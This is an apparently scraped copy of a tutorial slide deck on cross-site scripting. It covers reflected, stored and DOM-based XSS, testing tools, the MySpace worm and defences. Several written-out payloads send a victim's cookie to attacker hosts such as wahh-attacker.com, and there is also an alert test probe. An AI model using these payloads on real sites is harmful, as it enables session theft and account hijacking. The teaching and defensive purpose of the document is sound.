XSS Documentation

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 112

| 1P a g e

XSS Documentation Presented by Mohamed Khaled

Cross-site scripting

XSS in theory

Cross-site scripting (or XSS) is the Godfather of attacks against other users It is bysome measure the most prevalent web application vulnerability found in the wild

afflicting literally the vast majority of live applications including some of the most

security-critical applications on the Internet such as those used by online banks

Opinions vary as to the seriousness of XSS vulnerabilities

1 Reflected XSS Vulnerabilities

A very common example of XSS occurs when an application employs a dynamic

page to display error messages to users Typically the page takes a parameter

containing the text of the message and simply renders this text back to the user

within its response This type of mechanism is convenient for developers because

it allows them to invoke a customized error page from anywhere in the application

without needing to hard-code individual messages within the error page itself

Exploiting the VulnerabilityXSS vulnerabilities can be exploited in many different ways to attack other users

of an application One of the simplest attacks and the one that is most commonly

envisaged to explain the potential significance of XSS flaws results in the attacker

capturing the session token of an authenticated user Hijacking the userrsquos session

gives the attacker access to all of the data and functionality to which the user isauthorized

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 212

| 2P a g e

XSS Documentation Presented by Mohamed Khaled

1 The user logs in to the application as normal and is issued with a

cookie containing a session tokenSet-Cookie sessId=184a9138ed37374201a4c9672362f12459c2a652491a3

2 Through some means (described in detail later) the attacker feeds the following

URL to the userhttpswahhappcomerrorphpmessage=ltscriptgtvar+i=new+Image

+isrc=rdquohttpwahh-attackercomldquo2bdocumentcookieltscriptgt

As in the previous example which generated a dialog message this

URL contains embedded JavaScript However the attack payload in this case is

more malicious

3 The user requests from the application the URL fed to them by the attacker

4 The server responds to the userrsquos request As a result of the XSS vulnerability

the response contains the JavaScript created by the attacker

5 The attackerrsquos JavaScript is received by the userrsquos browser which executes it in

the same way it does any other code received from the application

6 The malicious JavaScript created by the attacker isvar i=new Image isrc=rdquohttpwahh-attackercomldquo+documentcookie

This code causes the userrsquos browser to make a request to wahhattackercom which is

a domain owned by the attacker The request contains the userrsquos current sessiontoken for the applicationGET sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP11

Host wahh-attackercom

7 The attacker monitors requests to wahh-attackercom and receives the userrsquos

request He uses the captured token to hijack the userrsquos session gaining access to

that userrsquos personal information and performing arbitrary actions ldquoasrdquo the user

2 Stored XSS Vulnerabilities

A different category of XSS vulnerability is often referred to as stored cross-site

scripting This version arises when data submitted by one user is stored within the

application (typically in a back-end database) and then displayed to other users

without being filtered or sanitized appropriately

Stored XSS vulnerabilities are common in applications that support interaction

between end users or where administrative staff access user records and data

within the same application

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 312

| 3P a g e

XSS Documentation Presented by Mohamed Khaled

Note that

There are two important differences in the attack process between reflected and

stored XSS

1 In the case of reflected XSS to exploit vulnerability the attacker must use

some means of inducing victims to visit his crafted URL In the case of

stored XSS this requirement is avoided Having deployed his attack within

the application the attacker simply needs to wait for victims to browse tothe page or function that has been compromised In general this will be a

regular page of the application that normal users will access of their own

accord

2 The attackerrsquos objectives in exploiting an XSS bug are usually achieved

much more easily if the victim is using the application at the time of the

attack For example if the user has an existing session this can be

immediately hijacked In a reflected XSS attack the attacker may try to

engineer this situation by persuading the user to log in and then click on a

link that he supplies or he may attempt to deploy a persistent payload that

waits until the user logs in However in a stored XSS attack it is usually

guaranteed that victim users will be already accessing the application at the

time that the attack strikes Because the attack payload is stored within a

page of the application that users access of their own accord any victim of

the attack will by definition be using the application at the moment the

payload executes Further if the page concerned is within the authenticated

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 412

| 4P a g e

XSS Documentation Presented by Mohamed Khaled

area of the application then any victim of the attack must in addition be

logged in at the time

3 DOM-Based XSS Vulnerabilities

A user requests a crafted URL supplied by the attacker and containing

embedded JavaScript

The serverrsquos response does not contain the attackerrsquos script in any form

When the userrsquos browser processes this response the script is executed

nonetheless

The client-side JavaScript can access the browserrsquos document object model

(DOM) and so can determine the URL used to load the current page

A script issued by the application may extract data from the URL perform some

processing on this data and then use it to dynamically update the contents of thepage

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 512

| 5P a g e

XSS Documentation Presented by Mohamed Khaled

How XSS is discovered

XSS flaws can be difficult to identify and remove from a web application The bestway to find flaws is to perform a security review of the code and search for all

places where input from an HTTP request could possibly make its way into the

HTML output

Note that a variety of different HTML tags can be used to transmit a malicious

JavaScript

The ways to test the Cross Site Scripting will be different according to the type of

the Cross site scripting Here is the steps to test the Reflected Cross Site Scripting

1 Detect input vectors The tester must determine the web applications variablesand how to input them in the web application

2 Analyze each input vector to detect potential vulnerabilities To detect XSS

vulnerability the tester will typically use specially crafted input data with each

input vector

Such input data is typically harmless but trigger responses from the web browser

that manifests the vulnerability Testing data can be generated by using a web

application fuzzer or manually

3 For each vulnerability reported in the previous phase the tester will analyze thereport and attempt to exploit it with an attack that has a realistic impact on the web

applications security

ExampleFor example consider a site that has a welcome notice ldquoWelcome username and a

download link

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 612

| 6P a g e

XSS Documentation Presented by Mohamed Khaled

The tester must suspect that every data entry point can result in an XSS attack To

analyze it the tester will play with the user variable and try to trigger the vulnerability

Lets try to click on the following link and see what happenshttpexamplecomindexphpuser=ltscriptgtalert(123)ltscriptgt

If no sanitization is applied this will result in the following popup

This indicates that there is an XSS vulnerability and it appears that the tester can execute

code of his choice in anybodys browser if he clicks on the testers link

There are a lot of automated tools which can discover XSS like

HP Web Inspect Nessus Nikto and some other available tools but can only

scratch the surface If one part of a website is vulnerable there is a high likelihood

that there are other problems as well

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 712

| 7P a g e

XSS Documentation Presented by Mohamed Khaled

XSS tools

OWASP CAL9000 CAL9000 is a collection of web application security

testing tools that complement the feature set of current web proxies and

automated scanners

PHP Charset Encoder (PCE) - httph4kinencoding This tool helps you

encode arbitrary texts to and from 65 kinds of charsets Also some

encoding functions featured by JavaScript are provided

WebScarab is a framework for analysing applications that communicate

using the HTTP and HTTPS protocols

XSS-Proxy - httpxss-proxysourceforgenet XSS-Proxy is an advanced

Cross-Site-Scripting (XSS) attack tool

ratproxy - httpcodegooglecompratproxy A semi-automated largelypassive web application security audit tool optimized for an accurate and

sensitive detection and automatic annotation of potential problems and

security-relevant design patterns based on the observation of existing user-

initiated traffic in complex web 20 environments

Burp Proxy - httpportswiggernetproxy Burp Proxy is an interactive

HTTPS proxy server for attacking and testing web applications

Hackvertor httpwwwbusinessinfocouklabshackvertorhackvertorphp

Hackvertor is an online tool which allows many types of encoding andobfuscation of JavaScript (or any string input)

BeEF httpwwwbindshellnettoolsbeef browser exploitation

framework A professional tool to demonstrate the real-time impact of

browser vulnerabilities

XSS Assistant - httpwwwwhiteacidorggreasemonkeyxss_assistant

Greasemonkey script that allow users to easily test any web application for

cross-site-scripting flaws

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 812

| 8P a g e

XSS Documentation Presented by Mohamed Khaled

Common XSS attack scenarios

1 An attacker has a potential victim in mind he knows that the victim is on an

online shopping site this website unlike many others allows users to have an

account where they can automatically buy things without entering theircredit card details the users credit card is stored on the websites server

The attacker finds that there is an XSS vulnerability in the web application

software that the shopping website uses

The attacker sends the victim and email with the following HTMLltA

HREF=httparchivescnncom2001US0916invbinladendenialtw=lt

scriptgtdocumentlocationreplace(httpfreewebhostcomph33rstealcg

i+documentcookie)ltscriptgtgtCheck this Article Out ltagt

If the user click the link and they would be lead to the CNN News Articlebut at the same time the attacker would of been able to also direct the user

towards his specially crafted URL he now has the users cookie

Using the Firefox cookie editor the attacker copies and pastes the victims

cookie and uses it for himself

2 Consider an auction application that allows buyers to post questions about

specific items and sellers to post responses If a user can post a question

containing embedded JavaScript and the application does not filter or

sanitize this then an attacker can post a crafted question that causes arbitrary

scripts to execute within the browser of anyone who views the question

including both the seller and other potential buyers In this context the

attacker could potentially cause unwitting users to bid on an item without

intending to or cause a seller to close an auction and accept the attackerrsquoslow bid for an item

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 912

| 9P a g e

XSS Documentation Presented by Mohamed Khaled

Real-World XSS Attacks

o Myspace

The social networking site MySpace was found to be vulnerable to a storedXSS attack in 2005

The MySpace application implements filters to prevent users from placing

JavaScript into their user profile page However a user called Samy found a means

of circumventing these filters and placed some Java Script into his profile page

The script executed whenever a user viewed this profile and caused the victimrsquos

browser to perform various actions with two key effects First it added the

perpetrator as a ldquofriendrdquo of the victim Second it copied the script into the victimrsquos

own user profile page Subsequently anyone who viewed the victimrsquos profile

would also fall victim to the attack To perform the various requests required theattack used Ajax techniques The result was an XSS-based worm that spread

exponentially and within hours the original perpetrator had nearly one million

friend requests

As a result MySpace was obliged to take the application offline remove the

malicious script from the profiles of all their users and fix the defect in their anti-

XSS filters The perpetrator was eventually forced to pay financial restitution to

MySpace and to carry out three months of community service without the help of

his many friends

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 1012

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 1112

| 11P a g e

XSS Documentation Presented by Mohamed Khaled

Protection mechanisms

o Protect yourself as a vendor

It is a simple Never trust user input and always filter metacharacters This will

eliminate the majority of XSS attacks Converting lt and gt to lt and gt is also

suggested when it comes to script output Filtering lt and gt alone will not solve all

cross site scripting attacks

It is suggested you also attempt to filter out ( and ) by translating them to amp40

and amp41 to ampquot to amp39 and also and amp by translating them to

amp35() and ampamp (amp) A more complete list of entities can be found at

httptntluomacomsidebarscodes

o Protect yourself as a user

The easiest way to protect yourself as a user is to only follow links from the main

website you wish to view If you visit one website and it links to CNN for

example instead of clicking on it visit CNNs main site and use its search engine to

find the content

This will probably eliminate ninety percent of the problem

Sometimes XSS can be executed automatically when you open an email email

attachment read a guestbook or bulletin board post If you plan on opening an

email or reading a post on a public board from a person you dont know BE

CAREFUL One of the best ways to protect yourself is to turn off Javascript in

your browser settings In IE turn your security settings to high This can prevent

cookie theft and in general is a safer thing to do

For detailed information about protections against the XSS visit

httpwwwowasporgindexphpXSS_28Cross_Site_Scripting29_Prevention_

Cheat_Sheet

882019 XSS Documentation

httpslidepdfcomreaderfullxss-documentation 1212

| 12P a g e

XSS Documentation Presented by Mohamed Khaled

References

The Web Application Hackerrsquos Handbook

OWASP TESTING GUIDE 2008 V30

httpwwwowasporgindexphpTalkTesting_for_Cross_site_scripting

httpwwwxssedcom

httpwwwacunetixcomwebsitesecuritycross-site-scriptinghtm